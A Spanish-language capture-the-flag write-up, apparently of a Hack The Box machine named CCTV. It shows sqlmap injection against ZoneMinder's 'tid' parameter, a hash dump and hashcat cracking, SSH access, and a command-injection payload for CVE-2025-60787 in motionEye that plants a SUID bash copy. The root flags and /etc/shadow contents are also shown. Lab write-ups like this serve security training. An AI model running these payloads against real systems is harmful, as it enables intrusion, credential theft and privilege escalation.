En CCTV se exploto una vulnerabilidad de Inyeccion SQL en ZeroMinder lo que permitio filtrar credenciales para el acceso por SSH. Localmente corria motionEye, el archivo de configuracion de este almacenaba el hash del usuario admin, con esta se realizo la explotacion de una vulnerabilidad para escalar privilegios.
| Nombre |
CCTV |
| OS |
Linux  |
| Puntos |
20 |
| Dificultad |
Easy |
| Fecha de Salida |
2026-03-07 |
| IP |
None |
| Maker |
holdthefort |
|
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [78, 79, 307, 172, 83, 18, 9, 3, 1, 14],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# Nmap 7.95 scan initiated Sat Mar 7 23:04:24 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.2.113
Nmap scan report for 10.129.2.113
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 7 23:05:05 2026 -- 1 IP address (1 host up) scanned in 40.45 seconds
|
Web Site
El sitio web nos redirige al dominio cctv.htb el cual agregamos al archivo /etc/hosts.
1
2
3
4
5
6
7
8
|
❯ curl -sI 10.129.2.113
HTTP/1.1 302 Found
Date: Sun, 08 Mar 2026 05:07:02 GMT
Server: Apache/2.4.58 (Ubuntu)
Location: http://cctv.htb/
Content-Type: text/html; charset=iso-8859-1
❯
|
El sitio se presenta con servicios de monitoreo.

El boton de ‘Staff Login’ muestra el login para ZeroMinder.

ZeroMinder
Las credenciales por default admin:admin permiten el acceso, observamos que la version es v1.37.63.

En Options > Users se indican tres usuarios.

SQL Injection
En el repositorio encontramos multiples vulnerabilidades. Una de estas es Boolean-based SQL Injection la cual afecta a la version de la maquina v1.37.63 especificamente en el parametro tid. Ejecutamos sqlmap especificando la cookie y el parametro. Este identifico time-based blind ademas del Boolean-Based. Logro enumerar tres bases de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
❯ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -H 'Cookie: ZMSESSID=3ab7p49ft0quj1cbh7fl9mmefa' -p tid --dbs --batch
___
__H__
___ ___[.]_____ ___ ___ {1.9.10#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 23:19:24 /2026-03-07/
[23:19:24] [INFO] testing connection to the target URL
[23:19:24] [INFO] testing if the target URL content is stable
[23:19:24] [INFO] target URL content is stable
[23:19:25] [WARNING] heuristic (basic) test shows that GET parameter 'tid' might not be injectable
[23:19:25] [INFO] testing for SQL injection on GET parameter 'tid'
[23:19:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:19:26] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[23:19:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[23:19:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:19:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[23:19:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[23:19:28] [INFO] testing 'Generic inline queries'
[23:19:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[23:19:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[23:19:29] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[23:19:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:19:40] [INFO] GET parameter 'tid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[23:19:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:19:40] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:19:42] [INFO] target URL appears to be UNION injectable with 4 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[23:19:45] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[23:19:45] [INFO] checking if the injection point on GET parameter 'tid' is a false positive
GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 110 HTTP(s) requests:
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 4693 FROM (SELECT(SLEEP(5)))jmoT)
---
[23:20:06] [INFO] the back-end DBMS is MySQL
[23:20:06] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[23:20:07] [INFO] fetching database names
[23:20:07] [INFO] fetching number of databases
[23:20:07] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[23:20:22] [INFO] adjusting time delay to 1 second due to good response times
3
[23:20:23] [INFO] retrieved: information_schema
[23:21:36] [INFO] retrieved: performance_sche
[23:22:52] [ERROR] invalid character detected. retrying..
[23:22:52] [WARNING] increasing time delay to 2 seconds
ma
[23:23:02] [INFO] retrieved: zm
available databases [3]:
[*] information_schema
[*] performance_schema
[*] zm
[23:23:20] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 385 times
[23:23:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb'
[*] ending @ 23:23:20 /2026-03-07/
❯
|
Segun la tabla Users existen las columnas Username y Password, en esta ultima se almacenan hashes de contrasenas bcrypt. Basados en esto ejecutamos nuevamente para realizar un ‘dump’ de credenciales.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
❯ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -H 'Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=qb1i5ieruqatbt6hlba7cfclsj;' -p tid -D zm -T Users -C Username,Password --dump --batch
___
__H__
___ ___[.]_____ ___ ___ {1.9.10#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
# [... skip ... ]
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+
[00:40:00] [INFO] table 'zm.Users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/cctv.htb/dump/zm/Users.csv'
[00:40:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1671 times
[00:40:00] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb'
[*] ending @ 00:40:00 /2026-03-08/
❯
|
Cracking the Hash
Ejecutamos hashcat con el wordlist rockyou.txt sobre el archivo de hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
PS C:\Users\sckull\Documents\github\hashcat-7.1.2> .\hashcat.exe -m 3200 .\cctv_hashes.txt .\rockyou.txt
hashcat (v7.1.2) starting
# [... skip ...]
Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
# [... skip ...]
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m:admin
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
|
User - Mark
Utilizamos el par de credenciales de mark por SSH logrando el acceso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
❯ ssh mark@cctv.htb
The authenticity of host 'cctv.htb (10.129.2.113)' can't be established.
ED25519 key fingerprint is: SHA256:KrrHjS+nu1wJEfv1/NxT1fI+ODJaSRdJtFg201G+tO0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cctv.htb' (ED25519) to the list of known hosts.
mark@cctv.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun 8 Mar 06:48:18 UTC 2026
System load: 0.21
Usage of /: 74.5% of 8.70GB
Memory usage: 42%
Swap usage: 0%
Processes: 314
Users logged in: 0
IPv4 address for eth0: 10.129.2.113
IPv6 address for eth0: dead:beef::250:56ff:feb0:849b
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
14 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
mark@cctv:~$ whoami;id;pwd
mark
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
/home/mark
mark@cctv:~$
|
Privesc
Localmente existen varios puertos a la escucha en uno de ellos se indica Motion 4.7.1 en otro motionEye/0.43.1b4, este ultimo se refiere al monitor de camaras motionEye.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
mark@cctv:/etc/apache2$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:7999 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1935 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9081 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8554 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
mark@cctv:/etc/apache2$ curl 127.0.0.1:7999
Motion 4.7.1 Running [1] Camera
1
mark@cctv:/etc/apache2$ curl -sI 127.0.0.1:8765
HTTP/1.1 200 OK
Server: motionEye/0.43.1b4
Content-Type: text/html; charset=UTF-8
Date: Sun, 08 Mar 2026 07:07:39 GMT
Etag: "da39a3ee5e6b4b0d3255bfef95601890afd80709"
Content-Length: 0
mark@cctv:/etc/apache2$
|
Motioneye
En el repositorio se indica una vulnerabilidad: RCE via unsanitized motion config parameter in motionEye. La causa es la inexistencia de sanitizacion en valores manipulados por el usuario.
Local Port Forwarding
Obtuvmos el puerto 8765 localmente.
1
2
3
4
5
6
7
8
|
❯ ssh mark@cctv.htb -L 8765:127.0.0.1:8765 -fN
mark@cctv.htb's password:
❯ netstat -ntpl | grep 8765
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN 100765/ssh
tcp6 0 0 ::1:8765 :::* LISTEN 100765/ssh
❯
|
Las credenciales por default no permiten el acceso.

En el archivo de configuracion /etc/motioneye/motion.conf encontramos el hash para el usuario admin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
mark@cctv:/etc/motioneye$ ls -lah
total 28K
drwxr-xr-x 2 motion motion 4.0K Nov 7 23:40 .
drwxr-xr-x 141 root root 12K Mar 2 10:05 ..
-rw-r--r-- 1 motion motion 2.3K Nov 8 01:16 camera-1.conf
-rw-r--r-- 1 motion motion 278 Nov 8 01:16 motion.conf
-rw-r--r-- 1 motion motion 3.0K Nov 7 22:46 motioneye.conf
mark@cctv:/etc/motioneye$ cat motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
mark@cctv:/etc/motioneye$
|
El hash es aceptado como contrasena y permite el acceso.

RCE - CVE-2025-60787
Para la explotacion agregamos una nueva camara tomando los valores de la ya existente.

El comando a ejecutar realiza una copia de bash con permisos SUID.
1
2
|
# CMD
$(python3 -c "import os;os.system('cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc')").%Y-%m-%d-%H-%M-%S
|
Se sobreescribe la funcion de validacion con la herramienta para desarroladores.
1
|
configUiValid = function() { return true; };
|
Asignamos nuestro comando en Still Images y guardamos.

Verificamos que se realizo ejecucion del comando. Ejecutamos la copia de bash en modo privilegiado -p para el acceso root y, las flags user.txt y root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
mark@cctv:/etc/motioneye$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.4M Mar 8 07:51 /usr/bin/sc
mark@cctv:/etc/motioneye$ /usr/bin/sc -p
sc-5.2# whoami;id
root
uid=1000(mark) gid=1000(mark) euid=0(root) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
sc-5.2# cd /root
sc-5.2# ls
clean_logs.sh docker-binaries files root.txt snap
sc-5.2# cat root.txt
ef945d7c31fb457229f717bd8da0fc33
sc-5.2# cat /home/sa_mark/user.txt
96c5fd723fe1059e9bcdb5136925b892
sc-5.2#
|
Loot
Realizamos la lectura del archivo /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
sc-5.2# cat /etc/shadow
root:$y$j9T$yA2tQ1NiQFodczsDATtiZ1$3FOGPUX6xT.w9C0RgfE.h7ed9bKq68IV3ydkAXzT989:20399:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20344::::::
sshd:!:20344::::::
mark:$y$j9T$FdppU.RZC1znPbo5fOl/G/$udWuXBB/7yzlzqm/4MKMWaFTmmeI6DUy.BvTbl4z2wB:20344:0:99999:7:::
dnsmasq:!:20344::::::
sa_mark:$y$j9T$DaLfNZ5N2pMjJMReb.im8.$am6fl6MDBtEv/l0MCDczgfeZd.FTovuV15MuUikaKu5:20344:0:99999:7:::
mysql:!:20344::::::
postfix:!:20384::::::
motion:!:20399::::::
_laurel:!:20497::::::
dhcpcd:!:20514::::::
sc-5.2#
|